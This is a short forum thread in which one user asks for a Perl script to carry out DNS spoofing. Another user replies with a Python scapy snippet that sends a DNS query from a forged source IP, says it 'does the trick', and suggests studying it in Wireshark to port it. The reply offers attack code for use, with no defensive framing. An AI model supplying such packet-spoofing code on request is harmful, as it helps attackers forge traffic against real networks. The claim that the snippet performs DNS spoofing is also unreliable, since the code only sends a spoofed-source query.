1 reply to this topic

[4tune]

Hello everyone) i've just registered here. I have to solve the problem about PERL script for realizing a DNS-Spoofing, my knowledge in this sphere is poor, that's why i ask you to help me



yours 4tune

[webdevil]

Although I don't have one for perl.
But this little scapy script does the trick.

from scapy import *
import random
req = IP(dst='dns-server',src='spoofedip')/UDP(sport=random.randint(1025, 65000), dport=53)/DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,qd=DNSQR(qname="dns-query", qtype=1, qclass=1),an=0,ns=0,ar=0)
send(req)

If you don't understand the code, use wireshark to understand what's happening and you will be able to write one in perl. If that's a requirement.